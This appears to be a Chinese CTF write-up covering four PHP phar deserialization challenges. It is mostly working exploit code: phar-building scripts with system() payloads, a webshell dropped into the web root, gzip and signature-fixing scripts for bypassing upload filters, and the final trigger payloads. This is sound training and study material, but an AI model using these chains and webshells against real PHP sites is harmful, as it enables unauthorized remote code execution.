目录
①[HNCTF 2022 WEEK3]ez_phar
②[SWPU 2018]SimplePHP
③[NewStarCTF]PharOne
④[NSSRound#4 SWPU]1zweb
标准的phar反序列化
file_exists触发
贴出构造
code);
}
}
$a=new Flag();
$a->code="system('cat /ffflllaaaggg');";
$phar = new Phar("exp6.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
dirsearch扫出/upload.php,访问可以发现上传文件,但限制只能上传图片
问题不大,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的,可以直接修改为其他后缀
bp抓包改后缀和MIME
phar文件上传成功 ,接下来就是如何触发的问题了
过于明显不解释
payload:
?filename=phar://upload/exp6.png
进来有文件上传,有文件查看,一眼phar反序列化
发现任意文件包含
先进行一波信息搜集
发现file_exists可以触发phar反序列化,但是需要知道文件名
(可以头铁去看function.php源码计算,但最好直接访问/upload看文件名)
一番找终于找到能构造链子的码了
贴出来:
str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
掏出记事本搓个链子先:
C1e4r::destruct() -> Show::toString() -> Test::__get()
params['source'] = "/var/www/html/f1ag.php";//目标文件
$a->str = $b; //触发__tostring
$b->str['str'] = $c; //触发__get;
$phar = new Phar("exp4.phar"); //生成phar文件
$phar->startBuffering();
$phar->setStub('');
$phar->setMetadata($a); //触发头是C1e4r类
$phar->addFromString("exp.txt", "test"); //生成签名
$phar->stopBuffering();
?>
生成的phar文件上传试试
bp抓包改一下后缀和MIME
ok成功上传phar文件,接下来就是触发phar反序列化了
还记得上文提到file.php中file_exists可以触发,但要知道文件名
直接访问/upload
给出最终payload:
?file=phar://upload/703cbb617d786bf95570b1ab8d8a6513.jpg
base64解码即可
源码提示class.php,访问
highlight_file(__FILE__);
class Flag{
public $cmd;
public function __destruct()
{
@exec($this->cmd);
}
}
@unlink($_POST['file']);
phar反序列化(考虑到exec无回显,选择写马重定向)
class Flag{
public $cmd;
public function __construct() {
$this->cmd = "echo '=system(\$_GET[1]);?>'>/var/www/html/1.php";
}
}
$a = new Flag();
$phar = new Phar('A.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','test'); //添加压缩文件
$phar->setStub(''); //如果有文件投检测可以加上文件头
$phar->setMetadata($a);
//自动计算签名
$phar->stopBuffering();
?>
上传文件处有正则,同时限制文件后缀
!preg_match("/__HALT_COMPILER/i",FILE_CONTENTS)
使用gzip绕过
gzip
with open('A.phar', 'rb') as file:
f = file.read()
newf = gzip.compress(f) #对Phar文件进行gzip压缩
with open('aa.png', 'wb') as file:#更改文件后缀
file.write(newf)
上传文件
在class.php利用unlink()触发phar反序列化
file=phar:///var/www/html/upload/321532365639f31b3b9f8ea8be0c6be2.png
然后直接在/1.php rce即可,下略
利用查询文件看到index.php,upload.php的源码
//index.php
ljt="ljt";
$this->dky="dky";
phpinfo();
}
public function __destruct(){
if($this->ljt==="Misc"&&$this->dky==="Re")
eval($this->cmd);
}
public function __wakeup(){
$this->ljt="Re";
$this->dky="Misc";
}
}
$file=$_POST['file'];
if(isset($_POST['file'])){
echo file_get_contents($file);
}
//upload.php
0){
echo "上传异常";
}
else{
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
$content=file_get_contents($_FILES["file"]["tmp_name"]);
$pos = strpos($content, "__HALT_COMPILER();");
if(gettype($pos)==="integer"){
echo "ltj一眼就发现了phar";
}else{
if (file_exists("./upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在";
}else{
$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
fwrite($myfile, $content);
fclose($myfile);
echo "上传成功 ./upload/".$_FILES["file"]["name"];
}
}
}else{
echo "dky不喜欢这个文件 .".$extension;
}
}
?>
蛙趣,index.php是任意文件读取啊,想搞事了
(直接目录穿越打穿了还行)
咳咳,假装不知道,继续常规做
审upload.php
发现就是只让上传图片,还对文件内容进行了过滤,不让出现__HALT_COMPILER(),这不和上题一样吗,直接gzip绕过
然而真的这么简单吗?
回头看index.php,发现要绕过wake_up,这个trick不解释了
由于需要绕过wakeup,因为是后面自己去改的数据,而phar
文件的签名是第一次生成文件的时候自动生成的,所以当我们修改数据过后,由于签名错误,这个phar
是无法被正常解析的,所以需要修改签名,让他变成一个正常的phar文件
先贴出构造
ljt = "Misc";
$this->dky = "Re";
$this->cmd = 'system($_POST[0]);';
}
}
$o = new LoveNss();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$o = new LoveNss();
$phar->setMetadata($o); //将自定义的meta-data存入manifest,setMetadata()会将对象进行序列化
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
#本题要将生成得phar文件放入010修改属性数量来绕过wake_up
用010editor修改phar文件内容
贴一段压缩+修复签名的脚本
(用PHP8生成的phar签名用的sha256,PHP5生成的签名用的sha1)
from hashlib import sha256
import gzip
with open('phar.png', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
new_file = s + sha256(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile("1.png", "wb")
f_gzip.write(new_file)
f_gzip.close()
在index.php用file_get_contents()触发
post:
file=phar://upload/1.png&0=tac /f*
file=phar://./upload/1.png&0=tac /f*
file=phar:///var/www/html/upload/1.png&0=tac /f*
(其实就是相对路径和绝对路径的区别)